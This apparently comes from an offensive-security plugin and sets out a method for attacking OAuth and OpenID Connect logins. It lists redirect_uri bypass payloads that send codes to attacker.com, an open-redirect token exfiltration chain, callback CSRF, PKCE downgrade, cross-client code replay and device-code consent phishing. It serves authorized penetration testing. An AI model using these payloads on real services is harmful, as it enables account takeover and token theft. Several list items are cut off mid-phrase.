secskills
secskills / offense / attacking-oauth-oidc

attacking-oauth-oidc

offense verified 2026-07-26

Attack OAuth 2.0 and OpenID Connect flows — enumerate endpoints from the OIDC discovery document, break redirect_uri validation with path traversal, open-redirect chaining, subdomain and regex weakness, and %2F/@ parser tricks, exploit missing state (callback CSRF) and absent or downgraded PKCE, steal codes and tokens via open redirectors and referer leakage, replay and inject authorization codes across clients, escalate scope and bypass consent, confuse access_token with id_token, and take over accounts through "Sign in with X" email trust and device-code consent phishing. Use when you see /authorize, /oauth/token, response_type, redirect_uri, client_id, code= or state= parameters, a "Sign in with Google/Microsoft/GitHub" button, or an OIDC discovery document at /.well-known/openid-configuration.

$ /plugin install secskills-offense $ /plugin install secskills-core

OAuth is a delegation protocol whose security lives entirely in parameters the browser forwards — redirect_uri, state, and scope — so most breaks are the authorization server or the client trusting one of those a little too much. The token is the prize; the flow is the attack surface. Follow the redirect that carries the code, and you follow the credential.

Only against systems you are authorized to test.

When to Use

federated identity button

carrying code=, state=, or #access_token=

nonce

id_token to establish a session

When NOT to Use

kid injection, weak HMAC secret, none) — use attacking-jwt

testing-web-applications

testing-apis

attacks specifically** — use attacking-entra-id

scale against real users** — use performing-social-engineering

Enumerate the Server: Discovery Document First

The OIDC discovery document hands you the entire attack map — every endpoint, the supported flows, and the key set.

curl -s https://target/.well-known/openid-configuration | jq .
# Also try, per-tenant / per-realm:
#   https://target/.well-known/oauth-authorization-server
#   https://login.target/<tenant>/v2.0/.well-known/openid-configuration
#   https://target/auth/realms/<realm>/.well-known/openid-configuration   (Keycloak)

Read these fields specifically:

allowed? Is code the only option, or can you downgrade?

urn:ietf:params:oauth:grant-type:device_code present?

Pull the client bundle too: SPA JavaScript almost always inlines the client_id, the configured redirect_uri, and the scope list.

redirect_uri Validation: The Core Break

Everything hinges on where the authorization server is willing to send the code. If you can make it send the code to a host you control, the flow is over. Work through the validation weaknesses — a permissive registration or a prefix/substring match instead of an exact match is the standard finding.

Registered: https://app.example.com/callback

Path traversal / appended path (prefix match, not exact)
  https://app.example.com/callback/../../attacker
  https://app.example.com/callback/anything          (allowed if it startswith-checks)
  https://app.example.com/callback.attacker.com/

Subdomain / domain-suffix weakness (regex or "endswith" match)
  https://attacker.app.example.com/callback
  https://app.example.com.attacker.com/callback
  https://appXexample.com/callback                    (unescaped . in regex)

Parser confusion — validator and browser disagree on the host
  https://attacker.com\@app.example.com/callback
  https://app.example.com@attacker.com/callback
  https://attacker.com%2F@app.example.com/
  https://attacker.com#@app.example.com/
  https://attacker.com%23.app.example.com/

Scheme / userinfo / whitespace
  http://app.example.com/callback                     (downgrade to plaintext)
  https://app.example.com%00.attacker.com/callback
  ///attacker.com/callback   //attacker.com/callback

localhost is frequently allow-listed with no port check
  http://localhost:1337/callback   http://127.0.0.1/callback
  http://localhost.attacker.com/callback

An authorize request pointing the code at your host:

GET /authorize?response_type=code
    &client_id=REAL_CLIENT_ID
    &redirect_uri=https://attacker.com/callback
    &scope=openid%20email%20profile
    &state=xyz HTTP/1.1
Host: login.target

If that returns a code to attacker.com, you exchange it (or the victim's browser delivers theirs). Also test each place redirect_uri is read — the authorize request, the token exchange, and any stored per-client default — because some servers validate strictly at /authorize and loosely at /token, or vice versa.

Open Redirector as Exfil Channel

When redirect_uri must stay on the real domain, an open redirect on that domain becomes the exfiltration path: the server sends the code to the allow-listed host, which 302s it — and the code in the query string, or the whole fragment — onward to you.

redirect_uri=https://app.example.com/redirect?next=https://attacker.com/
# code lands on app.example.com, its open redirect forwards it (and often the
# ?code=... query, via Referer or an explicit passthrough) to attacker.com

Chase any next=, returnUrl=, RelayState=, or continue= parameter on the allow-listed origin. This is the reason an "exact redirect_uri match" that ends on your own domain is still not safe.

state: CSRF on the Callback

state is OAuth's CSRF token. If it is absent, static, predictable, or not verified on return, an attacker stitches their authorization code onto the victim's session — the login-CSRF / account-injection attack.

1. Attacker starts the flow, captures their own code but does NOT complete it.
2. Attacker delivers the callback to the victim:
   https://app.example.com/callback?code=ATTACKER_CODE   (no/ignored state)
3. Victim's browser completes it; victim's account is now linked to the
   attacker's identity provider account -> attacker logs in as the victim.

Test: remove state entirely, replay a state from a previous flow, and change one character of the returned state. If the callback still completes, it is not being verified. nonce gets the same treatment in OIDC — its job is replay protection on the id_token.

PKCE: Absence and Downgrade

PKCE binds the code to the client that requested it, defeating code interception. Public clients (SPA, mobile) that skip it are exposed to any attacker who grabs the code from a redirect, referer, or intercepting app.

# Authorize with a challenge:
GET /authorize?...&code_challenge=BASE64URL(SHA256(verifier))&code_challenge_method=S256

Checks:
- Omit code_challenge entirely -> does /token still return a token? (not enforced)
- Send code_challenge_method=plain with challenge == verifier (downgrade)
- Exchange the code with the WRONG code_verifier -> is it accepted? (not verified)
- Reuse the same verifier across two flows

If a code obtained under one flow can be redeemed without the matching verifier, PKCE is decorative.

Implicit Flow: Token Leakage

response_type=token / id_token token returns the token in the URL fragment, which leaks through browser history, Referer headers on subresource loads, and any JavaScript on the callback page.

GET /authorize?response_type=token&client_id=...&redirect_uri=https://app.example.com/cb
# -> 302 to https://app.example.com/cb#access_token=ya29...&token_type=Bearer

Force implicit even where code flow is expected (response_type=token), and pair it with a redirect_uri or open-redirect weakness — the fragment rides along and the token exfiltrates. Prefer reporting a downgrade-to-implicit as high severity: it turns a fragment into a bearer credential in the URL bar.

Code Injection, Replay, and Cross-Client Substitution

The authorization code is single-use and client-bound in a correct implementation. Test all three properties.

fail; a token on the second try means codes are not invalidated.

callback (the state-less attack above), or inject the victim's leaked code into your session to log in as them.

redeem it at /token with client_id=B (both apps on the same authorization server). If the server does not bind the code to the issuing client, a code minted for a low-value app buys tokens for a high-value one.

POST /oauth/token HTTP/1.1
Host: login.target
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=VICTIM_OR_OTHER_CLIENT_CODE
&redirect_uri=https://app.example.com/callback
&client_id=DIFFERENT_CLIENT_ID&client_secret=...

Add scopes to the authorize request and see whether the server grants them without a fresh consent prompt — especially on re-authorization, where many servers skip consent for an already-authorized client and silently attach the new scopes.

# Request more than the app normally asks for:
scope=openid email profile offline_access admin read:all

Check: does offline_access (a long-lived refresh token) get granted silently? Are scopes the client never requested honored if you inject them? Does the returned token's actual scope exceed what was consented? Downgrade attacks matter too — a first authorization with narrow scope, then a silent re-auth widening it.

response_mode / response_type Confusion

Mixing response parameters can move a token to a place validation does not cover or downgrade the flow.

response_mode=form_post   -> token delivered in a POST body (bypasses fragment
                             handling and some referer protections)
response_mode=web_message -> token posted via postMessage; test the target-origin
                             check for a wildcard or missing origin validation
response_type=code%20token / code%20id_token  -> hybrid flow; a code AND a
                             front-channel token, doubling the leak surface

access_token vs id_token Confusion

The access_token is for calling the resource API; the id_token is proof of authentication for the client. Backends routinely confuse them.

both are JWTs) trusts a token the client should never present to it.

loosely-validated string — instead of a properly validated id_token can be fed a token minted for a different audience.

accepted where they should not be.

id_token Validation Flaws

The client must validate the id_token signature against jwks_uri and the claims. Missing claim checks are the account-takeover path.

accepted.

(Google, Microsoft) is replayed here. This is the classic multi-tenant/social IdP takeover.

The signature-side attacks — alg:none, alg HS256/RS256 confusion, kid injection, jku/x5u pointing at attacker keys — are in attacking-jwt. Fetch jwks_uri from discovery and hand it off there.

"Sign in with X" Account Takeover via Email Trust

The highest-yield federation bug: a client that links or creates accounts by the email claim, trusting it as a verified unique key.

email_verified — sign up at an IdP with the victim's email (unverified) and the client links you to their account.

or takeover by registering the same email at a permissive provider.

the provider where you can control an unverified email matching the victim.

Always inspect the userinfo / id_token claims actually returned and whether email_verified is present and enforced before any account link.

The device authorization grant (urn:ietf:params:oauth:grant-type:device_code) and the plain consent screen are the phishing surface: the attacker starts a flow, gets a user_code / verification URL, and induces the victim to approve it — yielding tokens to the attacker with no fake login page.

POST /oauth/device/code   client_id=REAL_CLIENT_ID&scope=openid%20offline_access
# -> device_code, user_code, verification_uri
# Victim visits the REAL verification_uri, enters the code, approves ->
POST /oauth/token   grant_type=...device_code&device_code=...&client_id=...
# attacker polls and receives access + refresh tokens

The victim sees the genuine provider consent page — that is what makes it effective. Running this against real users at scale is a performing-social-engineering engagement; for Entra-specific illicit consent grants (malicious multi-tenant apps), use attacking-entra-id.

Rationalizations to Reject

Test traversal, subdomain suffix, @/%2F/# parser tricks, and an open redirector on the allow-listed host.

replay, and cross clients. And check whether response_type=token still works.

completes without a verified state is account-injectable.

wrong verifier, downgrade to plain.

minted for another client is a takeover if you don't check the audience.

present and enforced. Unverified email is attacker-chosen.

and illicit-grant phishing rely on exactly that genuine screen.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Credential Access (TA0006)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

access_token once you have it (alg confusion, kid, jku, weak secret)

multi-tenant illicit-grant abuse

account-takeover findings

redirect chain); the OAuth-focused Burp extensions — EsPReSSO and the JWT editors for decoding front-channel tokens; mitmproxy for capturing the fragment and cross-origin postMessage traffic that Burp's HTTP history misses